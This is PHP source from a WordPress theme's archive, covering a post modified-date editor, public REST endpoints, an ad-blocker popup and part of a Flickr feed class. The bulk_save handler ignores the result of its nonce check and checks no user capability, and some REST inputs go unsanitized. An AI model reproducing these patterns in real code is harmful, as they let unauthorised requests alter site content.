		wp_enqueue_script( 'pcmdate-block-editor', PENCI_SOLEDAD_URL . '/inc/block-editor/build/index.js', $asset_file['dependencies'], $asset_file['version'], true );
		wp_localize_script( 'pcmdate-block-editor', 'pcmdateBlockEditor', [
			'postTypes' => [ 'post' ],
			'isEnabled' => true,
		] );
	}

	/**
	 * Post Submit Box HTML output.
	 *
	 * @param string $post WP Post
	 */
	public function submitbox_edit( $post ) {
		global $wp_locale;

		if ( in_array( $post->post_status, [ 'auto-draft', 'future' ] ) ) {
			return;
		}

		$datemodified = $post->post_modified;

		$jj = mysql2date( 'd', $datemodified, false );
		$mm = mysql2date( 'm', $datemodified, false );
		$aa = mysql2date( 'Y', $datemodified, false );
		$hh = mysql2date( 'H', $datemodified, false );
		$mn = mysql2date( 'i', $datemodified, false );
		$ss = mysql2date( 's', $datemodified, false );

		$stop_update = get_post_meta( $post->ID, '_lmt_disableupdate', true );
		$post_types  = get_post_type_object( $post->post_type );

		// get modified time with a particular format
		$orig_time = get_post_time( 'U', false, $post );
		$mod_time  = get_post_modified_time( 'U', false, $post ); ?>

        <div class="misc-pub-section curtime misc-pub-last-updated">
        <span id="pcmdate-timestamp"> <?php esc_html_e( 'Updated on:', 'soledad' ) ?> <strong><?php echo get_the_modified_time( 'M j, Y \a\t H:i' ); ?></strong></span>
        <a href="#edit_timestampmodified" class="edit-timestampmodified hide-if-no-js" role="button"><span
                    aria-hidden="true"><?php esc_html_e( 'Edit', 'soledad' ); ?></span> <span
                    class="screen-reader-text"><?php esc_html_e( 'Edit modified date and time', 'soledad' ); ?></span></a>
        <fieldset id="timestampmodifieddiv" class="hide-if-js"
                  data-prefix="<?php esc_attr_e( 'Updated on:', 'soledad' ); ?>"
                  data-separator="<?php esc_attr_e( 'at', 'soledad' ); ?>"
                  style="padding-top: 5px;line-height: 1.76923076;">
            <legend class="screen-reader-text"><?php esc_html_e( 'Last modified date and time', 'soledad' ); ?></legend>
            <div class="timestamp-wrap">
                <label>
                    <span class="screen-reader-text"><?php esc_html_e( 'Month', 'soledad' ); ?></span>
                    <select id="mmm" name="mmm" class="time-modified">
						<?php
						for ( $i = 1; $i < 13; $i ++ ) {
							$monthnum  = zeroise( $i, 2 );
							$monthtext = $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) );
							echo '<option value="' . $monthnum . '" data-text="' . $monthtext . '" ' . selected( $monthnum, $mm, false ) . '>' . sprintf( __( '%1$s-%2$s' ), $monthnum, $monthtext ) . '</option>';
						}
						?>
                    </select>
                </label>
                <label>
                    <span class="screen-reader-text"><?php esc_html_e( 'Day', 'soledad' ); ?></span>
                    <input type="text" id="jjm" class="time-modified jjm-edit" name="jjm" value="<?php echo $jj; ?>"
                           size="2" maxlength="2" autocomplete="off"/>
                </label>, <label>
                    <span class="screen-reader-text"><?php esc_html_e( 'Year', 'soledad' ); ?></span>
                    <input type="text" id="aam" class="time-modified aam-edit" name="aam" value="<?php echo $aa; ?>"
                           size="4" maxlength="4" autocomplete="off"/>
                </label> <?php esc_html_e( 'at', 'soledad' ); ?><label>
                    <span class="screen-reader-text"><?php esc_html_e( 'Hour', 'soledad' ); ?></span>
                    <input type="text" id="hhm" class="time-modified hhm-edit" name="hhm" value="<?php echo $hh; ?>"
                           size="2" maxlength="2" autocomplete="off"/>
                </label><?php esc_html_e( ':', 'soledad' ); ?><label>
                    <span class="screen-reader-text"><?php esc_html_e( 'Minute', 'soledad' ); ?></span>
                    <input type="text" id="mnm" class="time-modified mnm-edit" name="mnm" value="<?php echo $mn; ?>"
                           size="2" maxlength="2" autocomplete="off"/>
                </label>
            </div>
            <label for="pcmdate_disable" class="pcmdate-disable-update" style="display:block;margin: 5px 0;"
                   title="<?php esc_attr_e( 'Keep this checked, if you do not want to change modified date and time on this post.', 'soledad' ); ?>">
                <input type="checkbox" id="pcmdate_disable" name="disableupdate" <?php if ( $stop_update == 'yes' ) {
					echo 'checked';
				} ?>><span><?php esc_html_e( 'Lock the Modified Date', 'soledad' ); ?></span>
            </label>
			<?php

			$currentlocal = current_time( 'timestamp', 0 );
			$mm_current   = gmdate( 'm', $currentlocal );
			$jj_current   = gmdate( 'd', $currentlocal );
			$aa_current   = gmdate( 'Y', $currentlocal );
			$hh_current   = gmdate( 'H', $currentlocal );
			$mn_current   = gmdate( 'i', $currentlocal );

			$vals = [
				'mmm' => [ $mm, $mm_current ],
				'jjm' => [ $jj, $jj_current ],
				'aam' => [ $aa, $aa_current ],
				'hhm' => [ $hh, $hh_current ],
				'mnm' => [ $mn, $mn_current ],
			];

			foreach ( $vals as $key => $val ) {
				echo '<input type="hidden" id="hidden_' . $key . '" name="hidden_' . $key . '" value="' . $val[0] . '">';
				echo '<input type="hidden" id="cur_' . $key . '" name="cur_' . $key . '" value="' . $val[1] . '">';
			} ?>

            <input type="hidden" id="ssm" name="ssm" value="<?php echo $ss; ?>">
            <input type="hidden" id="pcmdate-change-modified" name="pcmdate_change" value="no">
            <input type="hidden" id="pcmdate-disable-hidden" name="pcmdate_disable"
                   value="<?php echo ( $stop_update ) ? (bool) $stop_update : 'no'; ?>">
            <input type="hidden" id="pcmdate-post-modified" name="pcmdate_modified"
                   value="<?php echo $datemodified; ?>">

            <p id="pcmdate-meta" class="pcmdate-meta-options">
                <a href="#edit_timestampmodified"
                   class="save-timestamp hide-if-no-js button"><?php esc_html_e( 'OK', 'soledad' ); ?></a>
                <a href="#edit_timestampmodified"
                   class="cancel-timestamp hide-if-no-js button-cancel"><?php esc_html_e( 'Cancel', 'soledad' ); ?></a>&nbsp;&nbsp;&nbsp;
            </p>
        </fieldset>
        </div><?php
	}

	/**
	 * Quick edit HTML output.
	 *
	 * @param string $column_name Current column name
	 * @param string $post_type Post type
	 */
	public function quick_edit( $column_name, $post_type ) {
		global $wp_locale;

		if ( 'lastmodified' !== $column_name ) {
			return;
		} ?>

        <fieldset id="inline-edit-col-modified-date" class="inline-edit-date">
            <legend><span class="title"><?php esc_html_e( 'Modified', 'soledad' ); ?></span></legend>
            <div class="timestamp-wrap">
                <label class="inline-edit-group">
                    <span class="screen-reader-text"><?php esc_html_e( 'Month', 'soledad' ); ?></span>
                    <select id="mmm" class="time-modified" name="mmm">
						<?php
						for ( $i = 1; $i < 13; $i ++ ) {
							$monthnum  = zeroise( $i, 2 );
							$monthtext = $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) );
							echo '<option value="' . $monthnum . '" data-text="' . $monthtext . '">' . sprintf( __( '%1$s-%2$s' ), $monthnum, $monthtext ) . '</option>';
						}
						?>
                    </select>
                </label>
                <label class="inline-edit-group">
                    <span class="screen-reader-text"><?php esc_html_e( 'Day', 'soledad' ); ?></span>
                    <input type="text" id="jjm" class="time-modified tm-jjm" name="jjm" value="" size="2" maxlength="2"
                           autocomplete="off"/>
                </label>, <label>
                    <span class="screen-reader-text"><?php esc_html_e( 'Year', 'soledad' ); ?></span>
                    <input type="text" id="aam" class="time-modified tm-aam" name="aam" value="" size="4" maxlength="4"
                           autocomplete="off"/>
                </label> <?php esc_html_e( 'at', 'soledad' ); ?> <label>
                    <span class="screen-reader-text"><?php esc_html_e( 'Hour', 'soledad' ); ?></span>
                    <input type="text" id="hhm" class="time-modified tm-hhm" name="hhm" value="" size="2" maxlength="2"
                           autocomplete="off"/>
                </label>:<label>
                    <span class="screen-reader-text"><?php esc_html_e( 'Minute', 'soledad' ); ?></span>
                    <input type="text" id="mnm" class="time-modified tm-mnm" name="mnm" value="" size="2" maxlength="2"
                           autocomplete="off"/>
                </label>&nbsp;&nbsp;<label for="pcmdate_disable">
                    <input type="checkbox" id="pcmdate_disable" name="disableupdate"/>
                    <span class="checkbox-title"><?php esc_html_e( 'Lock the Modified Date', 'soledad' ); ?></span>
                </label>
            </div>
            <input type="hidden" id="ssm" name="ssm" value="">
            <input type="hidden" id="pcmdate-change-modified" name="pcmdate_change" value="no">
            <input type="hidden" id="pcmdate-disable-hidden" name="pcmdate_disable" value="">
            <input type="hidden" id="pcmdate-post-modified" name="pcmdate_modified" value="">
        </fieldset>
		<?php
	}

	/**
	 * Quick ecit HTML output.
	 *
	 * @param string $column_name Current column name
	 * @param string $post_type Post type
	 */
	public function bulk_edit( $column_name, $post_type ) {
		global $wp_locale;

		if ( 'lastmodified' !== $column_name ) {
			return;
		} ?>

        <div class="inline-edit-col pcmdate-bulkedit">
            <fieldset class="inline-edit-date">
                <legend><span class="title"><?php esc_html_e( 'Modified', 'soledad' ); ?></span></legend>
                <div class="timestamp-wrap">
                    <label class="inline-edit-group">
                        <span class="screen-reader-text"><?php esc_html_e( 'Month', 'soledad' ); ?></span>
                        <select id="mmm" class="time-modified" name="mmm">
                            <option value="none">— <?php esc_html_e( 'No Change', 'soledad' ); ?>—
                            </option>
							<?php
							for ( $i = 1; $i < 13; $i ++ ) {
								$monthnum  = zeroise( $i, 2 );
								$monthtext = $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) );
								echo '<option value="' . $monthnum . '" data-text="' . $monthtext . '">' . sprintf( __( '%1$s-%2$s' ), $monthnum, $monthtext ) . '</option>';
							}
							?>
                        </select>
                    </label>
                    <label class="inline-edit-group">
                        <span class="screen-reader-text"><?php esc_html_e( 'Day', 'soledad' ); ?></span>
                        <input type="text" id="jjm" class="time-modified tm-jjm" name="jjm" value="" size="2"
                               maxlength="2" placeholder="<?php esc_attr_e( 'Day', 'soledad' ); ?>"
                               autocomplete="off"/>
                    </label>, <label>
                        <span class="screen-reader-text"><?php esc_html_e( 'Year', 'soledad' ); ?></span>
                        <input type="text" id="aam" class="time-modified tm-aam" name="aam" value="" size="4"
                               maxlength="4" placeholder="<?php esc_attr_e( 'Year', 'soledad' ); ?>"
                               autocomplete="off"/>
                    </label> <?php esc_html_e( 'at', 'soledad' ); ?> <label>
                        <span class="screen-reader-text"><?php esc_html_e( 'Hour', 'soledad' ); ?></span>
                        <input type="text" id="hhm" class="time-modified tm-hhm" name="hhm" value="" size="2"
                               maxlength="2" placeholder="<?php esc_attr_e( 'Hour', 'soledad' ); ?>"
                               autocomplete="off"/>
                    </label>:<label>
                        <span class="screen-reader-text"><?php esc_html_e( 'Minute', 'soledad' ); ?></span>
                        <input type="text" id="mnm" class="time-modified tm-mnm" name="mnm" value="" size="2"
                               maxlength="2" placeholder="<?php esc_attr_e( 'Min', 'soledad' ); ?>"
                               autocomplete="off"/>
                    </label>&nbsp;&nbsp;<label for="pcmdate_disable">
                        <span class="select-title"><?php esc_html_e( 'Update Status', 'soledad' ); ?></span>
                        <select id="pcmdate-disable-update" class="disable-update" name="disable_update">
                            <option value="none">— <?php esc_html_e( 'No Change', 'soledad' ); ?>—
                            </option>
                            <option value="yes"><?php esc_html_e( 'Lock the Modified Date', 'soledad' ); ?></option>
                            <option value="no"><?php esc_html_e( 'Un-Lock the Modified Date', 'soledad' ); ?></option>
                        </select>
                    </label>
                </div>
            </fieldset>
        </div>
		<?php
	}

	public function save_post( $post_id ) {
		// get WordPress date time format
		$get_df = get_option( 'date_format' );
		$get_tf = get_option( 'time_format' );
		// get post meta data
		$m_orig   = get_post_field( 'post_modified', $post_id, 'raw' );
		$m_stamp  = strtotime( $m_orig );
		$modified = date_i18n( $this->do_filter( 'custom_field_date_time_format', $get_df . ' @ ' . $get_tf ), $m_stamp );


		// update post meta
		update_post_meta( $post_id, 'wp_last_modified_info', $modified );
	}

	protected function do_filter( ...$args ) {
		if ( ! isset( $args[0] ) || empty( $args[0] ) ) {
			return;
		}

		$action = 'pcmdate/' . $args[0];
		unset( $args[0] );

		return apply_filters_ref_array( $action, array_merge( [], $args ) );
	}

	/**
	 * Process bulk post meta data update
	 */
	public function bulk_save() {
		// security check
		wp_verify_nonce( 'pcmdate_edit_nonce' );

		// we need the post IDs
		$post_ids = ( ! empty( $_POST['post_ids'] ) ) ? wp_parse_id_list( $_POST['post_ids'] ) : [];

		// if we have post IDs
		if ( ! empty( $post_ids ) && is_array( $post_ids ) ) {
			$mmm     = sanitize_text_field( $_POST['modified_month'] );
			$jj      = sanitize_text_field( $_POST['modified_day'] );
			$aa      = sanitize_text_field( $_POST['modified_year'] );
			$hh      = sanitize_text_field( $_POST['modified_hour'] );
			$mn      = sanitize_text_field( $_POST['modified_minute'] );
			$disable = sanitize_text_field( $_POST['modified_disable'] );

			$mm = ( is_numeric( $mmm ) && $mmm <= 12 ) ? $mmm : '01'; // months
			$jj = ( is_numeric( $jj ) && $jj <= 31 ) ? $jj : '01'; // days
			$aa = ( is_numeric( $aa ) && $aa >= 0 ) ? $aa : '1970'; // years
			$hh = ( is_numeric( $hh ) && $hh <= 24 ) ? $hh : '12'; // hours
			$mn = ( is_numeric( $mn ) && $mn <= 60 ) ? $mn : '00'; // minutes
			$ss = '00'; // seconds

			$newdate = sprintf( "%04d-%02d-%02d %02d:%02d:%02d", $aa, $mm, $jj, $hh, $mn, $ss );

			foreach ( $post_ids as $post_id ) {
				if ( ! in_array( get_post_status( $post_id ), [ 'auto-draft', 'future' ] ) ) {
					if ( 'none' !== $mmm ) {
						update_post_meta( $post_id, '_pcmdate_last_modified', $newdate );
						update_post_meta( $post_id, 'pcmdate_bulk_update_datetime', $newdate );
					}

					if ( 'none' !== $disable ) {
						update_post_meta( $post_id, '_lmt_disableupdate', $disable );
					}
				}
			}
		}

		wp_send_json_success();
	}

	/**
	 * Save post modified info to db.
	 *
	 * @param object $data Old Data
	 * @param object $postarr Current Data
	 *
	 * @return object  $data
	 */
	public function update_data( $data, $postarr ) {
		if ( ! isset( $postarr['ID'] ) || in_array( $postarr['post_status'], [ 'auto-draft', 'future' ] ) ) {
			return $data;
		}

		if ( $this->do_filter( 'force_update_author_id', false ) ) {
			update_post_meta( $postarr['ID'], '_edit_last', get_current_user_id() );
		}

		// Check bulk edit state
		$bulk_datetime = get_post_meta( $postarr['ID'], 'pcmdate_bulk_update_datetime', true );
		if ( ! empty( $bulk_datetime ) ) {
			$data['post_modified']     = $bulk_datetime;
			$data['post_modified_gmt'] = get_gmt_from_date( $bulk_datetime );

			delete_post_meta( $postarr['ID'], 'pcmdate_bulk_update_datetime' );

			return $data;
		}

		// Get disable state.
		$disabled = get_post_meta( $postarr['ID'], '_lmt_disableupdate', true );

		/**
		 * Handle post editor save
		 */
		if ( ! isset( $postarr['pcmdate_modified'], $postarr['pcmdate_change'], $postarr['pcmdate_disable'] ) ) {
			/**
			 * Handle Block editor save
			 */
			if ( ! empty( $postarr['pcmdate_lockmodifiedupdate'] ) ) {
				$disabled = $postarr['pcmdate_lockmodifiedupdate'];
			}

			if ( 'yes' === $disabled ) {
				$data['post_modified']     = $postarr['post_modified'];
				$data['post_modified_gmt'] = $postarr['post_modified_gmt'];
			} else {
				$data['post_modified']     = current_time( 'mysql' );
				$data['post_modified_gmt'] = current_time( 'mysql', 1 );
			}

			// Check the duplicate request.
			$temp_date = get_post_meta( $postarr['ID'], 'pcmdate_temp_date', true );
			if ( ! empty( $postarr['pcmdate_modified_rest'] ) ) {
				$published_timestamp = get_post_time( 'U', false, $postarr['ID'] );
				$modified_timestamp  = strtotime( $postarr['pcmdate_modified_rest'] );
				$modified_date       = date( 'Y-m-d H:i:s', $modified_timestamp );

				if ( $modified_timestamp >= $published_timestamp ) {
					$data['post_modified']     = $modified_date;
					$data['post_modified_gmt'] = get_gmt_from_date( $modified_date );

					update_post_meta( $postarr['ID'], 'pcmdate_temp_date', $modified_date );
				}
			} elseif ( ! empty( $temp_date ) ) {
				$data['post_modified']     = $temp_date;
				$data['post_modified_gmt'] = get_gmt_from_date( $temp_date );

				delete_post_meta( $postarr['ID'], 'pcmdate_temp_date' );
			}
		} else {
			/**
			 * Handle Classic editor save
			 */
			$modified = ! empty( $postarr['pcmdate_modified'] ) ? sanitize_text_field( $postarr['pcmdate_modified'] ) : $postarr['post_modified'];
			$change   = ! empty( $postarr['pcmdate_change'] ) ? sanitize_text_field( $postarr['pcmdate_change'] ) : 'no';
			$disabled = ! empty( $postarr['pcmdate_disable'] ) ? sanitize_text_field( $postarr['pcmdate_disable'] ) : $disabled;

			// Update meta
			update_post_meta( $postarr['ID'], '_lmt_disableupdate', $disabled );

			// Check if disable is set to 'yes'
			if ( 'yes' === $disabled ) {
				$data['post_modified']     = $modified;
				$data['post_modified_gmt'] = get_gmt_from_date( $modified );
			} else {
				$data['post_modified']     = current_time( 'mysql' );
				$data['post_modified_gmt'] = current_time( 'mysql', 1 );
			}

			// check is current state is changed
			if ( 'yes' === $change ) {
				$mm = sanitize_text_field( $postarr['mmm'] );
				$jj = sanitize_text_field( $postarr['jjm'] );
				$aa = sanitize_text_field( $postarr['aam'] );
				$hh = sanitize_text_field( $postarr['hhm'] );
				$mn = sanitize_text_field( $postarr['mnm'] );
				$ss = sanitize_text_field( $postarr['ssm'] );

				$mm = ( is_numeric( $mm ) && $mm <= 12 ) ? $mm : '01'; // months
				$jj = ( is_numeric( $jj ) && $jj <= 31 ) ? $jj : '01'; // days
				$aa = ( is_numeric( $aa ) && $aa >= 0 ) ? $aa : '1970'; // years
				$hh = ( is_numeric( $hh ) && $hh <= 24 ) ? $hh : '12'; // hours
				$mn = ( is_numeric( $mn ) && $mn <= 60 ) ? $mn : '00'; // minutes
				$ss = ( is_numeric( $ss ) && $ss <= 60 ) ? $ss : '00'; // seconds

				$newdate             = sprintf( "%04d-%02d-%02d %02d:%02d:%02d", $aa, $mm, $jj, $hh, $mn, $ss );
				$published_timestamp = get_post_time( 'U', false, $postarr['ID'] );

				if ( strtotime( $newdate ) >= $published_timestamp ) {
					$data['post_modified']     = $newdate;
					$data['post_modified_gmt'] = get_gmt_from_date( $newdate );
				}
			}
		}

		// Update post meta for future reference
		update_post_meta( $postarr['ID'], '_pcmdate_last_modified', $data['post_modified'] );

		return $data;
	}

	public function messages( $messages ) {
		global $post;

		if ( ! $post instanceof WP_Post ) {
			if ( empty( $_REQUEST['post'] ) ) {
				return $messages;
			}
			$post_id = absint( $_REQUEST['post'] );
			$post    = get_post( $post_id );
		}

		// get WordPress date time format
		$get_df = get_option( 'date_format' );
		$get_tf = get_option( 'time_format' );

		$m_orig        = get_post_field( 'post_modified', $post->ID, 'raw' );
		$post_modified = '&nbsp;<strong>' . date_i18n( $this->do_filter( 'post_updated_datetime_format', $get_df . ' @ ' . $get_tf, $post->ID ), strtotime( $m_orig ) ) . '</strong>.&nbsp;';

		// get post types returns object
		$post_types = get_post_type_object( $post->post_type );
		if ( is_post_type_viewable( $post->post_type ) ) {
			$post_modified .= sprintf( __( '<a href="%1$s" target="_blank">%2$s %3$s</a>' ), esc_url( get_permalink( $post->ID ) ), __( 'View', 'soledad' ), $post_types->name );
		}

		if ( isset( $messages[ $post->post_type ] ) ) {
			$messages[ $post->post_type ][1] = esc_html( $post_types->labels->singular_name ) . '&nbsp;' . sprintf( __( '%1$s%2$s' ), __( 'updated on', 'soledad' ), $post_modified );
		}

		return $messages;
	}
}

new PenciModDate();PK     N\2e  e    inc/rest_api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_REST_API' ) ) {
	class Penci_REST_API {
		public function __construct() {
			add_action( 'rest_api_init', [ $this, 'register_routes' ] );
		}


		public function register_routes() {
			register_rest_route( 'penci/v1', '/penci_html_mega_menu', [
				'methods'             => 'POST',
				'callback'            => [ $this, 'penci_html_mega_menu' ],
				'permission_callback' => '__return_true',
			] );
			register_rest_route( 'penci/v1', '/penci_archive_more_post', [
				'methods'             => 'POST',
				'callback'            => [ $this, 'penci_archive_more_post' ],
				'permission_callback' => '__return_true',
			] );
			register_rest_route( 'penci/v1', '/penci_ajax_search', [
				'methods'             => 'GET',
				'callback'            => [ $this, 'penci_ajax_search' ],
				'permission_callback' => '__return_true',
			] );
		}

		public function penci_ajax_search( WP_REST_Request $request ) {
			return penci_ajax_search_results( $request->get_params() );
		}

		public function penci_html_mega_menu( WP_REST_Request $request ) {

			$menu     = $request->get_param( 'menu' );
			$item     = $request->get_param( 'item' );
			$catid    = $request->get_param( 'catid' );
			$number   = $request->get_param( 'number' );
			$style    = $request->get_param( 'style' );
			$position = $request->get_param( 'position' );

			$menu         = wp_get_nav_menu_items( $menu );
			$current_item = isset( $menu[ $item ] ) && is_object( $menu[ $item ] ) ? $menu[ $item ] : '';

			$menu_html = penci_return_html_mega_menu( $catid, $number, $style, $position, $menu, $current_item );

			return new WP_REST_Response( [ 'data' => $menu_html ], 200 );
		}

		public function penci_archive_more_post( WP_REST_Request $request ) {

            $requests = $request->get_params();

			$ppp          = ( isset( $requests['ppp'] ) ) ? (int) $requests['ppp'] : 4;
			$order_get    = ( isset( $requests['order'] ) ) ? sanitize_text_field( $requests['order'] ) : '';
			$offset       = ( isset( $requests['offset'] ) ) ? (int) $requests['offset'] : 0;
			$layout       = ( isset( $requests['layout'] ) ) ? sanitize_file_name( $requests['layout'] ) : 'grid';
			$archivetype  = isset( $requests['archivetype'] ) ? $requests['archivetype'] : '';
			$archivevalue = isset( $requests['archivevalue'] ) ? $requests['archivevalue'] : '';
			$from         = ( isset( $requests['from'] ) ) ? $requests['from'] : 'customize';
			$template     = ( isset( $requests['template'] ) ) ? $requests['template'] : 'sidebar';

			$orderby = get_theme_mod( 'penci_general_post_orderby' );

			if ( ! $orderby ):
				$orderby = 'date';
			endif;

			$order = get_theme_mod( 'penci_general_post_order' );
			if ( ! $order ):
				$order = 'DESC';
			endif;

			$order = $order_get ? $order_get : $order;

			$args = array(
				'post_type'      => 'post',
				'posts_per_page' => $ppp,
				'post_status'    => 'publish',
				'offset'         => $offset,
				'orderby'        => $orderby,
				'order'          => $order,
			);

			if ( $order == 'view' ) {
				$args['meta_key'] = penci_get_postviews_key();
				$args['order']    = 'DESC';
				$args['orderby']  = 'meta_value_num';
			}

			if ( $order == 'comment' ) {
				$args['order']   = 'DESC';
				$args['orderby'] = 'comment_count';
			}

			if ( 'cat' == $archivetype ) {
				$args['cat'] = $archivevalue;
			} elseif ( 'tag' == $archivetype ) {
				$args['tag_id'] = $archivevalue;
			} elseif ( 'day' == $archivetype ) {
				$date_arr           = explode( '|', $archivevalue );
				$args['date_query'] = array(
					array(
						'year'  => isset( $date_arr[2] ) ? $date_arr[2] : '',
						'month' => isset( $date_arr[0] ) ? $date_arr[0] : '',
						'day'   => isset( $date_arr[1] ) ? $date_arr[1] : '',
					),
				);
			} elseif ( 'month' == $archivetype ) {
				$date_arr           = explode( '|', $archivevalue );
				$args['date_query'] = array(
					array(
						'year'  => isset( $date_arr[2] ) ? $date_arr[2] : '',
						'month' => isset( $date_arr[0] ) ? $date_arr[0] : '',
					),
				);
			} elseif ( 'year' == $archivetype ) {
				$date_arr           = explode( '|', $archivevalue );
				$args['date_query'] = array(
					array(
						'year' => isset( $date_arr[2] ) ? $date_arr[2] : '',
					),
				);
			} elseif ( 'search' == $archivetype ) {
				$args['s'] = $archivevalue;

				$post_types    = get_post_types(
					array(
						'public'            => true,
						'show_in_nav_menus' => true,
					),
					'names'
				);
				$array_include = array();
				foreach ( $post_types as $key => $val ) {
					$array_include[] = $key;
				}
				$exclude = array(
					'web-story',
					'e-landing-page',
					'penci-block',
					'penci_builder',
					'archive-template',
					'custom-post-template',
				);

				if ( ! get_theme_mod( 'penci_include_search_page' ) ) {
					$exclude[] = 'page';
				}

				$array_include = array_diff( $array_include, $exclude );

				$args['post_type'] = $array_include;


			} elseif ( 'author' == $archivetype ) {
				$args['author'] = $archivevalue;

				if ( isset( $args['post_type'] ) ) {
					unset( $args['post_type'] );
				}
			} elseif ( $archivetype && $archivevalue ) {
				$args['tax_query'] = array(
					array(
						'taxonomy' => $archivetype,
						'field'    => 'term_id',
						'terms'    => array( $archivevalue ),
					),
				);
			}

			$loop = new WP_Query( $args );

            $html_archive = '';

            ob_start();

			if ( $loop->have_posts() ):
				$infeed_ads  = get_theme_mod( 'penci_infeedads_archi_code' ) ? get_theme_mod( 'penci_infeedads_archi_code' ) : '';
				$infeed_num  = get_theme_mod( 'penci_infeedads_archi_num' ) ? get_theme_mod( 'penci_infeedads_archi_num' ) : 3;
				$infeed_full = get_theme_mod( 'penci_infeedads_archi_layout' ) ? get_theme_mod( 'penci_infeedads_archi_layout' ) : '';
				while ( $loop->have_posts() ):
					$loop->the_post();
					include locate_template( 'content-' . $layout . '.php' );
				endwhile;
			endif;

			wp_reset_postdata();

            $html_archive = ob_get_clean();

            if ( $html_archive ) {
                return new WP_REST_Response( $html_archive, 200 );
            }
		}
	}
}

new Penci_REST_API();PK     N\Jox  x    inc/ad_blocker.phpnu [        <?php

class Penci_AdBlocker_Detector {
	public function __construct() {
		$block           = false;
		$disable_adblock = get_theme_mod( 'penci_adblocker_user_group', array() );
		if ( ! empty( $disable_adblock ) && is_array( $disable_adblock ) && is_user_logged_in() ) {

			$user_data  = wp_get_current_user();
			$user_roles = (array) $user_data->roles;

			foreach ( $disable_adblock as $user_group ) {
				foreach ( $user_roles as $role ) {
					$block = $role == $user_group;
				}
			}
		}

		if ( ! get_theme_mod( 'penci_adblocker_popup' ) || $block ) {
			return;
		}

		add_action( 'wp_footer', array( $this, 'ad_blocker' ), 500 );
		add_action( 'soledad_theme/custom_css', array( $this, 'custom_style' ) );
	}


	public function ad_blocker() {

		echo '<ins class="adsbygoogle Ad-Container sidebar-ad"><div style="z-index:-1; height:0; width:1px; visibility: hidden; bottom: -1px; left: 0;"></div></ins>';

		if ( get_theme_mod( 'penci_adblocker_popup_dismissable' ) && get_theme_mod( 'penci_adblocker_popup_onetime' ) && isset( $_COOKIE['AdBlockerDismissed'] ) ) {
			return;
		}

		?>
		<div id="penci-adblocker-popup-adblock"
			class="mfp-hide mfp-with-anim penci-popup penci-adblocker-popup">

			<div class="penci-adblocker-popup-container">
				<div class="container-wrapper">

					<span class="penci-adblocker-adblock-icon fa fa-exclamation-triangle" aria-hidden="true"></span>

					<h2 class="penci-adblocker-head"><?php echo penci_get_setting( 'penci_adblocker_popup_title' ); ?></h2>

					<div class="penci-adblock-message">
						<?php echo penci_get_setting( 'penci_adblocker_popup_message' ); ?>
					</div>

					<div class="penci-adblock-btn-group">

						<?php if ( get_theme_mod( 'penci_adblocker_popup_dismissable' ) ) : ?>
							<button type="button"
									class="mfp-close"><?php echo penci_get_setting( 'penci_adblocker_dissmiss' ); ?></button>
						<?php endif; ?>

					</div>

				</div>
			</div>
		</div>
		<?php
		$script_content = file_get_contents( PENCI_SOLEDAD_DIR . '/js/detector.min.js' );
		$script_options = array(
			'ad_blocker_detector'               => (bool) get_theme_mod( 'penci_adblocker_popup' ),
			'ad_blocker_detector_delay'         => get_theme_mod( 'penci_adblocker_popup_time' ),
			'ad_blocker_detector_dismissable'   => (bool) get_theme_mod( 'penci_adblocker_popup_dismissable' ),
			'ad_blocker_detector_onetime'       => (bool) get_theme_mod( 'penci_adblocker_popup_onetime' ),
			'ad_blocker_detector_block_img'     => (bool) get_theme_mod( 'penci_adblocker_disallow_images' ),
			'ad_blocker_detector_block_img_url' => get_theme_mod( 'penci_adblocker_placeholder_images' ),
			'ad_blocker_detector_post'          => (bool) get_theme_mod( 'penci_adblocker_disallow_images_posts' ),
		);

		if ( $script_content ) {
			echo '<script type="text/javascript">';
			echo 'var penci_options_set = '.json_encode($script_options).';';
			echo $script_content;
			echo '</script>';
		}
	}

	public function custom_style() {
		$out       = '';
		$selectors = array(
			'penci_adblocker_popup_bgcolor'      => '.penci-adblocker-popup-container{background-color:{{VALUE}}}',
			'penci_adblocker_popup_icolor'       => '.penci-adblocker-popup-container .penci-adblocker-adblock-icon{color:{{VALUE}}}',
			'penci_adblocker_popup_headingcolor' => '.penci-adblocker-popup-container .penci-adblocker-head{color:{{VALUE}}}',
			'penci_adblocker_popup_textcolor'    => '.penci-adblocker-popup-container .penci-adblock-message{color:{{VALUE}}}',
			'penci_adblocker_popup_btncolor'     => '.penci-adblocker-popup-container button.mfp-close{color:{{VALUE}}}',
			'penci_adblocker_popup_btnhcolor'    => '.penci-adblocker-popup-container button.mfp-close:hover{color:{{VALUE}}}',
		);
		foreach ( $selectors as $mod => $selector ) {
			$value = get_theme_mod( $mod );
			if ( $value ) {
				$out .= str_replace( '{{VALUE}}', $value, $selector );
			}
		}
		echo $out;
	}
}

new Penci_AdBlocker_Detector();
PK     N\+r'  r'    inc/flickr_feed.phpnu [        <?php

class Penci_Flickr_Feed {
	public static function display_images( $args = null ) {
		$defaults = array(
			'username'         => '',
			'template'         => 'thumbs-no-border',
			'images_link'      => 'image_url',
			'orderby'          => 'rand',
			'images_number'    => 5,
			'columns'          => 4,
			'refresh_hour'     => 5,
			'image_size'       => 'jr_insta_square',
			'image_link_rel'   => '',
			'image_link_class' => '',
			'no_pin'           => 0,
			'controls'         => 'prev_next',
			'caption_words'    => 20,
			'slidespeed'       => 7000,
			'description'      => array( 'username', 'time', 'caption' ),
		);

		$args = wp_parse_args( (array) $args, $defaults );

		if ( '' == $args['username'] ) {
			if ( current_user_can( 'manage_options' ) ) {
				echo '<p style="text-align: center;">This message appears for Admin Users only:<br>Please fill the Flickr Username.';
			}

			return;
		}

		$images_data = self::get_flickr_data( $args );

		if ( ! is_array( $images_data ) || ! $images_data ) {
			if ( current_user_can( 'manage_options' ) ) {
				echo '<p style="text-align: center;">This message appears for Admin Users only:<br>No any image found. Please check it again or try with another Flickr account.</p>';
			}

			return;
		}

		$output = '';

		$i = 0;

		if ( $args['orderby'] != 'rand' ) {

			$orderby = explode( '-', $args['orderby'] );
			$func    = $orderby[0] == 'date' ? 'sort_timestamp_' . $orderby[1] : 'sort_popularity_' . $orderby[1];

			usort( $images_data, array( __CLASS__, $func ) );

		} else {

			shuffle( $images_data );
		}

		foreach ( $images_data as $key => $image_data ) {

			if ( $i >= $args['images_number'] ) {
				continue;
			}


